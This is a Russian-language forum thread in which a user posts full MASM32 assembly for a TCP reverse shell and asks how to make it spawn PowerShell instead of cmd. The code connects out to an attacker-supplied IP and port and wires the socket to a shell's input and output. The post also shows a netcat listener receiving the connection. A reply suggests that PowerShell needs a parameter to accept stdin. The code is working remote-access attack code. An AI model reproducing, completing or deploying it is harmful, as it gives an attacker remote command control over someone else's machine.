Как создать TCP PowerShell_shell по примеру TCP CMD_Shell ?

Тема в разделе "WASM.BEGINNERS", создана пользователем __sheva740, 2 мар 2020.

  1. __sheva740

    __sheva740 Active Member

    Публикаций:
    0
    Регистрация:
    18 окт 2017
    Сообщения:
    310
    Вопрос : Как по примеру tcp Cmd shell написать tcp PowerShell_shell ?
    То есть что нужно в коде ниже поправить, что-бы его получить
    Код (Text):
    1.  
    2. ;
    3. ; Client.asm
    4. ;
    5. .386
    6. .model flat, stdcall
    7. option casemap:none
    8. include \masm32\include\windows.inc
    9. include \masm32\include\kernel32.inc
    10. include \masm32\include\ws2_32.inc
    11. include \masm32\include\masm32.inc
    12. includelib \masm32\lib\ws2_32.lib
    13. includelib \masm32\lib\kernel32.lib
    14. includelib \masm32\lib\masm32.lib
    15. .data
    16.   cmd     db "powershell",0  ;;; <<<<<===================== powershell !
    17. .data?
    18.   sinfo   STARTUPINFO<>
    19.   pi      PROCESS_INFORMATION<>
    20.   sin     sockaddr_in<>
    21.   WSAD    WSADATA<>
    22.   Wsocket dd ?
    23.   IP      db 50 dup (?)
    24.   port    db 8 dup (?)
    25. .code
    26. start:
    27.     invoke GetCL,1,addr IP
    28.     invoke StdOut,addr IP
    29.     invoke GetCL,2,addr port
    30.     invoke StdOut,addr port
    31.     invoke WSAStartup, 101h, addr WSAD
    32.     invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0
    33.            mov Wsocket, eax
    34.            mov sin.sin_family, 2
    35.     invoke atodw, addr port
    36.     invoke htons, eax
    37.            mov sin.sin_port, ax
    38.     invoke gethostbyname, addr IP
    39.           mov eax, [eax+12]
    40.           mov eax, [eax]
    41.           mov eax, [eax]
    42.           mov sin.sin_addr, eax
    43.           mov eax,Wsocket
    44.           mov sinfo.hStdInput,eax
    45.           mov sinfo.hStdOutput,eax
    46.           mov sinfo.hStdError,eax    
    47.           mov sinfo.cb,sizeof STARTUPINFO
    48.           mov sinfo.dwFlags,STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES
    49.     invoke connect, Wsocket, addr sin , sizeof(sockaddr_in)
    50.     invoke CreateProcess,NULL,addr cmd,NULL,NULL,TRUE,8000040h,NULL,NULL,addr sinfo,addr pi
    51.  ret
    52.  end start
    53.  
    ... хочется получить управление из под ком. строки powershell.
    Запускаю на стороне клиента (его IP=192.168.0.3):
    Код (Text):
    1.  
    2. Client.exe  192.168.0.2 4444   [Enter]
    3.  
    ... На сервере (его IP=192.168.0.2):
    Код (Text):
    1.  
    2. C:\>nc -lp 4444
    3. Windows PowerShell
    4. (C) Корпорация Майкрософт, 2009. Все права защищены.
    5. echo -----1111
    6. [тут ничего не происходит :(( ]
    7.  
    ... но тут ничего не передается и не приходит в ответ. Хотя если вместо powershell --- ставим cmd --- сразу ВСЕ работает!
    Почему - не ясно. Подскажите как получить Powershell Shell удаленный.
    Спасибо.
     
  2. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.250
    Ну на вскидку. Пауершелл не принимает данные через стдин. Вероятно можно его запустить с каким-то параметром, чтобы он это делал, погугли.